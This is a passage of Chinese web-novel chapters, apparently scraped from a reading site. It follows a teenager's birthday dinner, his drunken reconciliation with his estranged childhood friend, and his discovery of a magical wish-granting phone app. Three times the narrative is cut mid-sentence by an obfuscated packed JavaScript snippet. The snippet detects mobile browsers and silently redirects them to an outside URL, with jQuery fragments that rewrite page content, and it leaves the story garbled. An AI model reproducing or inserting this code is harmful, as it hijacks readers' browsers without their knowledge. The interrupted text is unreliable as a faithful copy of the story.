“妈,过生日呢,能不能别提不高兴的事。”盛衍小声嘟哝道。 许轻容忍不住笑出声:“哟,你也知道年级倒数前十是不高兴的事呢,那你能不能争口气,哪怕考个倒数第十一也行呢?” 眼看盛衍这小薄脸皮就要挂不住了,秦茹连忙打岔:“行了,许轻容,你少说两句。来,小衍,快许愿,许了我们吃饭。” 然后关上了客厅的灯。 黑暗中只剩下蜡烛暖黄的光焰轻轻跳跃。 盛衍的视野里也只剩下了烛光下的那一方蛋糕和对面秦子规冷淡垂下的眉眼——看样子是在剥弄着什么,反正一点心思都没在这上面。 明明以前这个时候秦子规都应该已经把精心准备的礼物送了上来,然后开始认认真真地听自己许愿了,结果现在直接翻脸不认人,绝情得很。 盛衍心里那股子气又噌得一下冒了出来,闭上眼,没几秒,就睁开眼,“呼”地一下吹灭蜡烛:“好了。” 许轻容打开灯:“这么快?” 盛衍:“嗯。” 许轻容又问:“许的什么愿?” 盛衍不自觉地瞟了一眼秦子规,然后没好气道:“希望所有装逼犯都离我越远越好。” 秦子规正在剥着什么的指尖微顿,而后很快恢复如常。 桌上也无人发现不对,只有许轻容轻嗔一声:“你这倒霉孩子,说好的许愿摆脱倒数前十呢。” “成绩这种事情,随缘。” 盛衍拿起筷子,满不在意。 许轻容白了他一眼:“你就不能跟子规学学。说到这个,子规,你信息竞赛准备得怎么样了?” 许轻容问完,秦子规还没回答,江平就一脸骄傲地接过话:“那必须没问题,他这方面是真有天赋,现在已经可以搞定很复杂的程序设计了。而且上次来我们公司技术部学习,APP研发部的也全夸他是天才,我现在就等着他大学毕业后来我公司光耀门楣呢。” 自豪之情,溢于言表。 许女士十分羡慕地叹了口气:“真好。你说都是一块儿养大的,怎么我们家盛衍就跟长不大似的,一天到晚就知道玩。” 说完,眼神一转,正好秦子规剥完了七八只虾后,不动声色地把小碟子往桌子那头推了一下,于是得出答案:“都怪子规。” 什么都没做的秦子规:“?” 许轻容也不理他,只是偏头看向秦茹:“你还记得不,大概他俩七八岁的时候吧,有次暑假我们都出差,没人管他们。开学头一天晚上回来的时候大半夜在卧室找不到人,吓得要死,跑到书房一看,就看见大的坐在那边板着一张小脸唰唰唰地奋笔疾书,小的就坐在旁边哭得打嗝儿,我还以为怎么了,走过去一看,好嘛,居然是盛衍暑假作业没做,秦子规在那儿帮他赶。所以盛衍现在成绩这样,你们家秦子规功不可没。” 江平也呵呵笑了句:“确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727185|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,子规从小就惯小衍,不说别的,这虾都剥了有十来年了吧。” 话音一落,盛衍夹虾的手顿住了。 他完全没注意到这虾是秦子规剥的,只是发现自己跟前多了碟剥好的虾,加上很多年来养成的习惯,自然而然地就顺手夹了。 结果现在被江平这么一说,这虾就变得吃也不是,不吃也不是。 不吃吧,显得自己这个人特别小气。 吃吧,以自己和秦子规现在的关系,又会显得特别没有尊严。 于是短暂的僵持后,盛衍机智地选择把那只虾放进了许女士的碗里:“儿的生日,妈的受难日,妈,您吃。” 这臭小子什么时候这么懂事了? 许女士瞥了一旁低头不说话的秦子规一眼,当下了然,自己给自己夹了只没剥的虾,阴阳怪气道:“说吧,又和子规闹什么脾气了?” 盛衍低头给自己夹了块剁椒鱼头,嘟囔道:“谁跟他闹脾气了,我又不是小学生。” 语气比小学生还小学生。 许女士也懒得拆穿:“行,没闹脾气就行,你马上还要在子规家住几个月,低头不见抬头见,真闹脾气了多尴尬。” 盛衍刚刚送到嘴边的筷子瞬间僵住。 许女士淡定自若地剥着虾:“今天本来买了好多菜,打算自己做给你吃。” 盛衍:“然后?” “然后高压锅爆了,厨房炸了。”许女士把明虾放进嘴里,嗦了下指尖,云淡风轻。 盛衍:“???” 许女士安慰道:“没事,正好我要去伦敦几个月,家里趁机重新装修一下,这段时间你就住你秦姨家。喏,东西都给你搬过来了。” 许女士随手一指,指向走廊尽头那扇敞着的房门。 从盛衍的角度,透过敞开的房门,可以依稀看见他那把电竞椅炫酷的一角。 “……” 想起自己十分钟前刚刚立下的“以后各走各的路”的flag,盛衍感到有些绝望。 喉头不自觉一滚。 下一秒,火辣辣的感觉立马充斥满整个喉咙和口腔。 嘴里还没来得及咽下的细碎的小米辣的剁山椒就随着这绝望一滚,呛进了气管。 本来还在震惊绝望中的盛衍立马开始弯腰猛咳:“妈……咳咳……水……” 不等许轻容和秦茹反应过来,秦子规已经第一时间迅速起身,飞快地走到饮水机前,放好杯子接起了水,然后一把拉开冰箱门,皱着眉翻找起什么。 然而盛衍实在辣得难受,不等秦子规回来,就在咳嗽之余捕捉到了许轻容手边那个她还完全没有动过的装满水的玻璃杯,于是顺手一端。 许轻容立马睁大眼睛:“崽!这是白——” 盛衍仰头一灌。 “——酒啊!” “酒”字落下的那一刻,这辈子从来没碰过任何一丁点儿烟酒的盛衍瞬间被疼出了眼泪花,刺痛和灼烫感顺着他的味蕾喉咙一路灼烧到五脏六腑。 他向来怕疼,这一下直接疼得趴在桌子上,紧紧攥着拳头,掐着掌心,咳得像是下一秒就能泣出血来。 许轻容看见盛衍耳朵脸蛋眼角都通红通红的样子,心疼得不得了,好在一转身就瞧见秦子规已经一手端着水杯一手端着冰雪梨快步走了回来,连忙着急招呼:“子规,快来快来,小衍好像难受得不行,你看看怎么办呀。” 确实很难受。 少年伏在桌沿,脸埋在臂弯里,单薄的肩胛骨剧烈起伏着,掌心掐出血印,看样子是想强忍住不让旁人担心,却又实在难受得忍不住。 秦子规沉着眉眼,快步走到盛衍旁边,一手揽住他的肩,扶他直起身,让他靠着自己,一手拿着水杯送到他嘴边:“慢点喝。” 盛衍却皱着眉,把头一偏:“走开,不……咳咳……咳咳咳……” 五脏六腑都快咳出来了,眼睫上也已经挂上泪花。 许轻容看盛衍难受成这样了,还不愿意喝水,以为是支气管出了什么大问题,着急得不行:“怎么了,宝宝?是还有哪里难受吗?要不要妈妈打120啊?你别吓妈妈啊。” 盛衍只是艰难地摇了摇头,然后抬头看向秦子规,竖起食指,指向他:“你,不行。” 大人们着急了:“到底怎么了呀,小衍?” 盛衍睁大眼睛,看着秦子规,目眦欲裂,满眼通红,表情壮烈如同义士即将捐躯。 屋里三个大人紧张得一动也不敢动。 然后就听见盛衍忍着痛楚,咬紧牙关,撑着嗓子剧烈的灼痛,艰难无比,一字一顿地送出了十个字—— “说好的,谁先管谁,谁是狗。” “……” 那一瞬间,280平米的大复式里除了倔强少年铁血男人盛小衍同学撼天震地撕心裂肺的剧烈咳嗽声以外,只剩下三个大人无尽的沉默。 他们一时不知道该说盛衍幼稚,还是夸他烈性。 只有秦子规依旧冷淡自若,重新递上水杯:“嗯。” “嗯?”盛衍眨着眼泪有点没懂。 秦子规顺手揩掉他眼尾的泪珠:“汪。” 4. 生日 Chapter.04 低而沉冷的音色,带着天生的疏离感。 不是应该发出这种词汇的嗓音,却又像是习以为常之后没有底线的迁就和纵容。 所以无比自然。 自然到周围的三个家长和当事人盛衍都没反应过来。 秦子规刚才是汪了? 他承认自己是小狗了? 不知道是不是二两茅台属实有点上头,盛衍的大脑神经元开始消极怠工,运转得十分缓慢。 他看着秦子规,懵懵地眨了下眼。 然后下一秒嗓子眼儿上抑制不住的刺疼就把他的意识强行召回,忍不住再次弯腰猛咳起来。 秦子规眼神里似有无奈,蹲下身,顺了顺他的背,递过杯子,柔声道:“我是小狗,你把水喝了。” 大概是小学鸡战役终于取得了胜利,盛衍这次没有继续悲壮抵抗,而是接过水杯,咕咚咕咚灌了起来。 然后就是切好的冰雪梨,淡盐水漱口。 最后张开嘴,任凭秦子规细细给自己喷上咽喉喷雾剂。 一套流程下来,盛衍明显好了不少。 而且越来越配合,到了最后甚至可以用乖巧来形容。 感受到周围三个大人懵逼震惊又崇拜的视线,秦子规剥了颗咽喉糖放进盛衍嘴里,站起身,解释道:“他小时候就爱偷吃辣条,但气管细,容易被呛到。” 许轻容是单身母亲,又管着一家大公司,有多忙自然不用多说,秦茹和江平也是自己创业起家,年轻时候忙得脚不沾地,到现在都没有自己的孩子,这两个小孩儿就基本是被保姆带大的。 而秦子规比盛衍大了一岁,又懂事得早,所以盛衍也可以说是被秦子规照顾大的。 因此到了这种时候,他们三个大人竟然还比不上一个孩子。 再想到刚才自家儿子誓死不从非要秦子规自认是小狗,而秦子规还真就“汪”了一声的场景,许轻容心里有点愧疚。 “那什么,子规呀,小衍你也知道的,这儿……”许轻容指着脑袋,转了转,“有点异于常人,你别跟他计较。” 盛衍的脑回路的确打小就很清奇,总是冒出一些大人小孩都想不到的奇怪想法,但通常都让人觉得可爱,并不会觉得厌烦。 “放心吧,许姨。” 秦子规看向许轻容,答得平淡却让人觉得分外安心。 许轻容心里感慨又欣慰。 看看别人家的孩子,又懂事,又优秀,脾气又好,还会照顾人,不像他家这位祖宗,除了一张漂亮脸蛋能嚯嚯人以外,其他的都让人头疼死了。 许轻容正想着,秦茹戳了戳她:“你看看小衍,我怎么觉得有点不对劲。” 秦子规和许轻容闻言偏头一看,果然看见盛衍不知道什么时候已经重新趴回了桌子上,下巴垫着手背,长长的睫翼一下一下缓缓眨着,眼神迷迷瞪瞪,看上去有点…… 呆。 短暂的观察。 许轻容试探道:“这是后劲上来了?” 秦茹瞪了她一眼:“你儿子,你问我?” 江平眯着眼睛打量半晌:“目光涣散,行动迟缓,看样子是有点上头,你这白酒很地道嘛。” 短暂的沉默。 许轻容没否认:“我带的茅台确实很正宗。” 秦茹有点发愁:“可是明天他们还要上课呢。” 江平大手一挥:“嗐,反正小衍上不上课也没什么区别,不如直接请病假。” 再次短暂的沉默。 许轻容:“有道理。” 秦茹:“好主意。” 江平:“我去给他们老师打电话。” 站在一旁的秦子规:“……” 是所有家的大人都是这个反应吗。 “我先带盛衍回房间休息吧。”秦子规觉得还是自己比较靠谱,一手拎起盛衍的书包,一手扶起盛衍,任凭他懒恹恹地搂着自己的腰把下巴搁在自己肩上,然后回头问许轻容,“他的洗漱用品换洗衣服都拿过来了吗?” 许轻容连忙点头:“拿了拿了,牙膏牙刷毛巾浴巾沐浴露洗发露都放在你浴室了,睡衣在第一个柜子挂着,贴身衣物在下面的抽屉。” “嗯,好。许姨小姨小姨夫你们先慢慢吃,留些清淡温和的放在冰箱里,等盛衍酒醒了我给他热。” “好,小姨待会儿给你们煲点粥,就放在灶上,有什么事叫我们。”秦茹温声应道。 她和许轻容也不是不想自己亲自照顾,但毕竟盛衍已经是十几岁的大男孩儿了,许多事就和小时候不一样。 “你说我们家盛衍,个子也长这么高了,怎么心性儿还跟小孩儿似的。”许轻容远远看着秦子规搂着盛衍回房的背影,叹了口气,“而且你说你们家秦子规怎么就不是个闺女呢,不然给我家当儿媳妇多好,我们家这么大产业也算有人可以继承了。” 许轻容摇着头,叹着气,遗憾得非常真情实感。 这种玩笑话她和秦茹已经说了很多年,估计如果秦子规和盛衍当中要是真有一个女孩儿,现在连订婚酒都已经摆了。 只可惜偏偏两个都是货真价实的一米八以上的大男人。 秦子规听着这话,无动于衷地把盛衍带回自己房间,关上门,放到床上,看了眼他额头上因为剧烈猛咳又皲裂开来的伤口:“坐好,别动,给你上点药。” 说完转身拉开抽屉。 本来端端正正地坐在床边的盛衍却像是突然回过神来了似的,一只手高高往上举,一只手直直往下伸,比划出一整个臂展的距离后,认真道:“这么多。” 秦子规拿出碘伏,一回头,看见他这样,没明白:“什么这么多?” 盛衍勾勾手指头:“你过来。” 秦子规依言靠近。 盛衍又勾勾手指头。 秦子规弯下了腰。 然后盛衍凑近脑袋,附在他耳朵边神秘兮兮地吐出了三个字:“老,婆,本。” 秦子规:“……” 他这下可以确信盛衍是真的被二两茅台给喝大了。 成年了吗你,就老婆本。 还这么多老婆本。 想着,他轻哂一声:“你要娶哪家天仙?” 盛衍嘚瑟地哼哼:“要娶那种又好看又聪明的天仙,最好次次都考年级第一的那种。” 秦子规:“?” 盛衍眯着眼睛,凶猛过人:“这样我们家也有年级第一了,就可以打死你了!” 秦子规:“……” 多大怨念。 不过他还不至于和一个小醉鬼计较,用棉签沾上碘伏,抬起盛衍下巴,敷衍地应和道:“嗯,行,娶天仙,娶个年级第一的天仙。” 盛衍大概是潜意识里已经习惯了这个画面,所以也没反抗挣扎,只是抬着脑袋,看着秦子规,又眯了下眼睛,神神秘秘道:“我再告诉你一个秘密。” 秦子规给他上着药:“你说。” “就是那个,我刚才说的那个愿望,希望所有装逼犯都离我远一点,那个,假的,骗你的。”盛衍坐在床边,双手撑着床沿,摇头晃脑,“我真正的愿望可不是这个。” 秦子规掌心微用力,摁住他的脑袋,继续涂着药,没说话。 盛衍不甘心地问:“你就不想知道我真正的愿望是哪个?” 秦子规随口道:“想。” 盛衍却说:“我不告诉你。” 秦子规摁着盛衍的脑袋:“……” 这人喝醉了怎么这么欠收拾。 欠到想把他的小脑袋瓜子拧下来看看里面到底装了什么的程度。 盛衍却像是感受不到近在咫尺的危险一般,继续哼哼道:“你说过的,我们要划清界限,保持距离,所以我才不要告诉你。配图:邓布利多摇摇头。” 盛衍说着,脑袋在秦子规的手掌底下开始自主左右晃动,表情傲娇又认真。 秦子规看着他,看了三秒,到底没忍住,低头微弯了唇。 像薄冰见暖阳,乍然消融,只剩春水温柔。 本来还在邓布利多摇摇头的盛衍突然顿住,眨巴了一下眼。 秦子规唇角笑意微敛,温声问:“怎么了?” 盛衍眨眨眼:“你笑了。” 秦子规:“?” 盛衍蔫蔫地耷下脑袋:“你讨厌我以后,都好久没对我笑过了。” 秦子规捏着棉签的指节微微顿住。 正想着该怎么回答,盛衍却突然噌地一下站起了起来,语气非常严肃:“我要学习。” 饶是秦子规再知道盛衍脑回路异于常人,也觉得有点猝不及防。 这又是哪跟哪? 盛衍看向他,一脸笃信不疑:“你肯定是觉得我学习不好还爱打架,是烂泥扶不上墙,所以才不跟我一起玩的。那我也要学习,我学习好了,你就不讨厌我了。” 说着就要去拿什么东西,结果因为白酒上了头,头重脚轻,晕晕乎乎,同手同脚地刚走两步,就一个趔趄。 眼看就要栽了下去,秦子规忙一把扶住,把他拎回床上:“你要什么,我帮你拿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727186|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我要书包,我要学习。” 盛衍坐回床上,眼睛都困得有点睁不开了,却还是倔强地求知若渴。 还行,甩酒疯的时候起码还知道学习。 秦子规也算略感欣慰,把那个死沉死沉的书包送到盛衍怀里。 盛衍接过,放在大腿上,拉开拉链,郑重打开。 一个充电宝,一个小型乐高,一台Ipad,一瓶冰可乐,三盒猫罐头,两袋威化饼干…… 鼓鼓囊囊一整个书包,翻到最后,居然只有一本书。 一本黄不拉几的厚得和砖头一样的书。 书封上还写着一行大字——得到许愿系统后我走上了人生巅峰。 秦子规突然觉得自己有点欣慰早了。 盛衍也像是对于自己书包的构成有点意外,整个翻过来,抖了抖,愣是没再抖出一张纸,或者一支笔。 于是尴尬地停顿三秒后,若无其事地拿起那本唯一的书,拍了拍它,一本正经道:“这本,就是这本,嗯,是那本……哪本来着,哦,就是那本,把学生会会长送去夜总会当少爷的书,写得真好,真解气。” 盛衍语气十分确信。 秦子规觉得自己罪不至此。 果然,盛大少爷也宽宏大量:“不过我才不会把你送去当少爷呢。” 秦子规总算欣慰了些:“理由说来听听?” 盛衍冷哼一声,气势惊人:“因为长成你这样,去夜总会当少爷肯定能挣好多钱,所以不行,不解气,我要把你送去喂猪!乡下喂猪!” 秦子规:“……” 他到底对盛衍抱了什么期望。 这种没良心的小醉鬼,有一个算一个,全都该直接剥光洗净捆到床上再也不管才对,免得被气死。 秦子规冷着脸,正打算把想法付诸行动,盛衍却抱着那本大黄书突然脑袋一耷,闭上眼,一动不动了。 看上去像是突然秒睡了。 秦子规伸出手想摸摸他的脸,然而刚伸到一半,盛衍就又忽然睁开,看着秦子规,没头没脑地问出一句:“你说我为什么没有许愿系统?” 秦子规:“?” “就这个,他都有许愿系统,为什么我没有?”盛衍像是很委屈,拍了拍那本大黄书,可怜巴巴地耷下眼,“我去年许愿都说了想要心想事成了,这都过了一年了,怎么还没灵验呢?明明以前都很灵的。是不是因为观音娘娘和你一样,不喜欢我了啊。” 盛衍向来少爷脾气,好面子,又爱逞能,最讨厌矫情兮兮的,也从来不缺朋友和热闹。 所以秦子规说过保持距离后,盛衍除了撂过几次脸子以外,并没有流露出任何难过的情绪,或者说相比难过,他表现得更多的像是丢了面子后的赌气和暴躁。 因此秦子规没有想过盛衍会有这样的想法。 原来人见人爱的小少爷也会担心别人不喜欢自己。 那一刻,秦子规突然觉得自己一年前的抉择似乎做错了。 可是他以为那会是最好的抉择。 他看着盛衍,半晌,揉了揉他的脑袋:“没有,观音娘娘很喜欢你,只是有的愿望实现起来会慢一点,比如去年许的,可能今年才能实现,所以等一等就好。” 盛衍眨眨眼:“真的?” 秦子规点头:“嗯,真的。” 盛衍像是被安抚到了,耷下眼睑,把下巴搁到那本厚厚的书上,有些没有底气地问道:“那我去年许的心想事成的愿望还会实现吗?” 秦子规垂着眼睫,用指腹蹭掉盛衍额角多余的碘伏:“会的,你好好睡一觉,明天起来就实现了。” “那我今年许的愿望也会实现吗?” “也会的,不过你要说出来,观音娘娘才听得到,才能想办法帮你实现。” 盛衍在酒精的作用下已经困得不行,眼神乜乜斜斜,大脑也变得僵滞,听完秦子规的回答后,缓钝地思考了许久,才慢吞吞点头:“那观音娘娘注意听,我许的生日愿望是希望秦子规不要再和我吵架了,我想跟他和以前一样好……一辈子……好。” 语速越来越慢,声音越来越小,等到最后一个“好”字说完的时候,盛衍已经抱着那本厚厚的书,歪倒在床上,彻底合上了眼睑。 均匀平缓的呼吸安然响起,放在床头的老式闹钟,时针和分针也在不知不觉中同时指向十二,发出了郑重的“咔哒”一声响。 秦子规伸手理了理他额前微乱的碎发,嗓音在夜色里压得低而沉缓:“生日快乐,阿衍。” 你的愿望都会实现。 5. 愿望 Chapter.05 盛衍第二天中午是被苟悠的电话叫醒的。 “喂,衍哥,你没事吧?我听黄鼠狼说你请病假啦?好好的怎么突然病了?不会是被秦子规气的吧?” 盛衍蹙着眉,不太舒服地翻了个身:“什么病假?” 说完,才发现自己嗓子哑得厉害,还有点疼,习惯性地想捞过自己那个巨大的猫猫抱枕的时候,也落了个空。 感觉不太对。 盛衍缓缓睁眼,然后就看见了对面那堵墙上满满一书架的书和奖杯奖状,以及极简到有点性冷淡的房间装饰。 这不是秦子规房间吗? 盛衍愣了愣,等看到床头的咽喉含片时,记忆才如同遇水的海绵,缓慢膨胀回形。 而所有记忆的最终卡点则卡在了秦子规的那声“汪”上。 没有不情不愿,也没有嘲讽戏弄,自然而然,平淡无奇,虽然没有那种让死对头出丑认怂后大仇得报的快感,但也没有丝毫的不舒服,就像是…… 被哄了一样。 可是秦子规为什么要哄他? 换作一年以前,这很正常,可是现在他俩这关系不是老死不相往来吗? 这人又憋了什么损招? 盛衍看着那面满满当当的书架,想得出了神。 电话那头苟悠连“喂”几声:“喂喂喂?衍哥?还在吗?不会真出事了吧?卧槽,你别吓我。” “闭嘴。”盛衍被叫回魂,没好气道,“大过生日的,你晦不晦气。” “呸呸呸,敲敲木头不当真。”苟悠敲了三下木头,又说,“我也是因为昨天晚上卡着点给你了发生日祝福,结果一直到了中午你都没回,还没来上课,所以有点担心嘛。” 中午? 盛衍把手机拿到跟前一看,时间2020年7月7日12时11分。 消息栏里充斥满微信短信企鹅私信,认识的亲朋好友基本都已经送来了生日祝福。 除了某个人。 盛衍反复点开退出好几遍,确认没有收到任何来自于秦子规的消息后,赌气般地骂了句:“大垃圾。” “???”电话那头的苟悠瞬间惶恐,“衍哥,你骂我干嘛啊?!我又做错什么了?!” “没骂你。”盛衍懒得解释,“你送的皮肤我看到了,谢了,回头请你吃饭。我这边没什么事,下午就能去上课。” 说完,没有其他事,盛衍挂了电话。 点开许女士的微信头像,好几条未读消息,都是凌晨五点发的。 估计是许女士早起离家的时间。 [太后娘娘]:二两白酒就喝醉了,这么娇气以后出去别说是我儿子。 [太后娘娘]:你放心,帮你请了病假,你就在家安心睡,醒了再去上课。 [太后娘娘]:不过妈妈临走前没有看到你,没有亲口给你说一声十七岁生日快乐,还是有点遗憾。 [太后娘娘]:但是你要相信,妈妈永远爱你,也没有其他贪心的要求,就希望我的儿子新的一年依然能够善良勇敢开心快乐地成长下去。 [太后娘娘]:晚上到了伦敦给你报平安,在秦姨家好好的,多听子规的话,别让妈妈担心。 [太后娘娘]:爱你。 盛衍趴在床上,抿着唇,手指飞速移动:[母后放心,戴好口罩,早点回来,注意安全,咱们家钱已经够多了,你去伦敦可以多看看英国帅哥,少忙点工作,儿臣跪安] 发完,把手机一扔,准备翻身重新躺下,结果脚一蹬,蹬到了个硬得硌人的东西,起身掀开被子一看,是那本《得到许愿系统后我走上了人生巅峰》。 看着这个书名,盛衍好像依稀想起了昨天晚上做的一个梦。 大概就是一个观音娘娘给他说他去年生日许的愿望等睡一觉起来就可以实现了。 笑话。 怎么实现? 难不成也给他一个许愿系统? 不过怎么隐隐约约记得梦里好像还梦到秦子规了? 大生日的,做这种梦,晦气死了。 而且这人怎么这么小气,连句走过场的生日祝福都不给。 想着,手机叮咚一声。 盛衍眼睛立马带了光,飞快捞起手机一看,然后那点儿光就暗淡下来。 是一个APP发来的横幅消息:[祝小主人盛衍,生日快乐] 盛衍兴致缺缺地把手机扔到一边。 扔完,顿了顿,又重新捡回来一看。 心想事成APP? 什么玩意儿? 自己什么时候下载这么个东西了? 手指上滑,解锁屏幕,果然在主界面看到了一个以前从来没有见过的Logo. 烟灰粉的底,奶白色的一笔竖向弧划,像画家思念爱人时随手勾下的半边心,Logo底下写着四个字,心想事成。 点开一看。 屏幕瞬间全暗,紧接着机械般地打出一行白字:[你好,盛衍,恭喜你已被心想事成APP选定为现任宿主,点击绑定,即可开始心愿之旅] ??? 这套路他怎么好像在哪里看过? 难道是什么三句话能让男人为我花18万的同款诈骗? 秉持着看看骗子APP到底还能有什么奇思妙想的思路,盛衍点击了绑定。 页面弹出:《APP用户协议和使用须知》 1.该APP需与用户达成严格双向保密,即APP与用户皆不得向第三方透露任何关于APP的具体使用内容。 2.用户在使用过程中,不得提出任何违背中华人民共和国法律法规以及公序良俗的愿望请求,不得要求强行粗暴绑定他人感情,不得以任何伤害他人或谋取不正当利益为目的。 3.为遵循物质守恒定律,任一愿望皆需用户完成相应任务,但不得要求用户支付任何金钱,同理,用户许下愿望后,不得拒绝履行完成任务的义务(任务范围,同条例2) 4.APP最终解释权归APP开发者所有,感谢使用。 这玩意儿的开发者看上去怎么还挺遵纪守法? 现在的骗子素质真是越来越高了。 盛衍虽然不太理解,但是大受震撼。 继续点击“阅读并同意”。 画面再次切换。 这次不是简单粗暴的界面切换,而是渲染渐入的一段小动画。 一个长着一对小短翅膀的小胖天使,撅着个小圆屁股,抱着只受伤小奶猫,跌跌撞撞地从月亮上摔了下来。 扑哧一声,落在了厚厚软软的草地上,疼得眼泪汪汪,却还是紧紧护着怀里的小奶猫,坚强地爬了起来。 然后仰着脑袋,环视了荒芜破败的花园一圈,发出了“耶?”的一声。 画面定格,出现文字。 [每个被主神选中的小孩都是拯救过其他灵魂的天使,主神为了奖励这些天使,决定实现他们的愿望,点击确认,即可接受主神的奖励] 确认。 [人间一切皆需经受考验,世间万物都有因有果,不同阶段可许下不同程度的愿望,也需要完成不同的任务,点击宿主扫描,即可确认当前等级] 扫描。 [宿主目前心愿等级为Lv.1,可许愿望等级:初级,任务难度:简单,频率:每周两次(周一刷新),升级需求:完成十次初级任务,实现十次初级愿望,即可升为Lv.2。扫描完毕,点击下一步,进入许愿教程] 下一步。 [许愿教程:第一步,领取十粒小雏菊种子;第二步,在花园邮箱放入愿望,如获批准,即可收到花盆一个;第三步,将种子种入花盆,即可收到任务信笺一封;第四步,点击完成任务,等待审核;第五步,审核完成,静待愿望实现,雏菊花开] 搞得还挺文艺浪漫。 盛衍对这个骗子APP越来越有兴趣,还真就点击领取了小雏菊种子。 结果除了种子以外,屏幕上还出现了三盆雏菊花,并且伴随着一封信:[系统检测到宿主此时信任情绪为0,因此为了提高宿主的信任度,系统决定赠送三盆已开小雏菊作为试用,免任务实现三个初级愿望,以建立宿主与系统间的信任,敬请笑纳] 还有试用装? 盛衍觉得这十有八九就是商场里那种先让你中奖免费试用体验一次,再开始逐渐套路你引导进行其他消费的常见骗术。 壳子套得花里胡哨,内核倒是万变不离其宗。 想用这种劣质手段骗他上当? 不存在的。 盛衍觉得自己贼啦聪明。 随手输了个愿望:[午饭想吃糖醋排骨] 页面出现白圈转动。 五秒后:愿望批准。 一分钟后,厨房传来秦茹的声音:“阿姨,子规中午要回来吃饭,再做道糖醋排骨可以吗?” 做饭阿姨应得爽快:“好呀,没问题,十分钟就好!” 本来漫不经心地戳着屏幕的盛衍突然顿住:“?” 这是巧合吧? 这必须是巧合吧? 不行,再试试。 盛衍双手打字,飞快输入:[希望可以提前知道下期大/乐/透头奖号码] 白圈转动。 三秒后:愿望越级,予以驳回。 这种愿望就越级了? 小气,玩不起。 盛衍不屑地哼了一声,正在思考该许个什么不越级的愿望,屋外就传来有人进门的动静,以及秦子规清冷偏低的嗓音:“小姨,我回来了。” 盛衍立时心生一计:[许愿让秦子规立刻马上摔一跤] 白圈再次转动。 五秒后:愿望批准。 这四个字出现的同一瞬间,一道剧烈的闷响伴随着秦茹和做饭阿姨惊慌的声音在客厅突兀响起:“子规,怎么摔了?小心点,疼不疼的?有没有磕着碰着哪儿啊?” “没事,就不小心踩滑了。” 秦子规倒是一如既往的冷静淡定。 反而是房间里始作俑者盛衍同学不淡定了。 他愣了愣,然后:“卧槽?!” 怎么回事?! 像秦子规这种自带一切调控系统的AI机器人居然也会摔跤? 还是在愿望刚刚批准的第一秒就摔了跤? 巧合。 必须是巧合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727187|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 作为一个在社会主义国家接受着马列主义教育长大的纯正唯物主义者来说,必不能相信这不是巧合。 盛衍抿紧唇角,再次飞快输入:[希望秦子规喝凉水都能呛到] “咳咳咳——” 秦子规猝不及防的低咳声和玻璃杯重重放回茶几的撞击声如约响起。 盛衍:“……” 傻了。 猛然间,他似乎想起什么,一把子坐起身,抄起那本厚厚的大黄书,开始猛翻。 处处被打压的学渣。 生日那天喝醉之后。 得到名叫心想事成的许愿系统。 然后开始拳打学霸,脚踢学生会会长…… ?! 难道小说照进现实了?! 盛衍昨晚才被酒精荼毒过的小脑瓜子呆了。 然后手机屏幕再次弹出提示消息:[三次试用机会已用完,周一将正式刷新任务周期,请主人届时亲临体验] 今天7月7日,周日,也就是说明天可以开始正儿八经做任务许愿。 盛衍咬着唇,指尖点了点屏幕,短暂的思考后,决定先不卸载,等等看到时候到底会让自己做什么任务再说。 如果是什么转钱推销出卖个人隐私违法乱纪伤天害理的任务,那就直接反手一个举报,让警察叔叔教教这群骗子做人。 但如果是正常任务,而且愿望还实现了的话…… 想想自己一手年级第一,一手射击冠军,脚踩秦小狗,拳打秦大喵,指示黄书良每天通报批评秦子规,勒令秦子规每天必须写完五千字检讨,再让秦子规天天跟在自己屁股后头帮自己写作业的样子,盛衍就忍不住笑出了声。 “你笑什么。” 正美滋滋地脑补着秦子规可怜巴巴地拽着袖子叫自己哥哥的盛衍,猛然听到门口传来冰冰凉的一声,一个条件反射直接从床上弹起,心虚地凶道:“你进别人房间怎么都不敲门的呀!” 秦子规倚着门框,抱着胸,扫视着这位穿着自己的睡衣在自己的房间踩着自己的被子冲自己张牙舞爪的小少爷,淡淡道:“这是我房间。” 意识到问题所在的盛衍微僵,然后悻悻爬下床,“我又不是没房间,没睡衣,求你让我睡这了。” “嗯,你求的。”秦子规点点头,“你说我的睡衣香,房间大,床软,离浴室近,不肯走。” 盛衍:“……” 秦子规:“需要我叫小姨过来求证吗?” 盛衍:“……哼!” 盛衍觉得自己在这儿再多呆一秒都嫌晦气,臭着脸,拿起那本大黄书和手机,抱着书包,抬着骄傲的头颅,就目不斜视地路过秦子规身旁,打算回到自己房间。 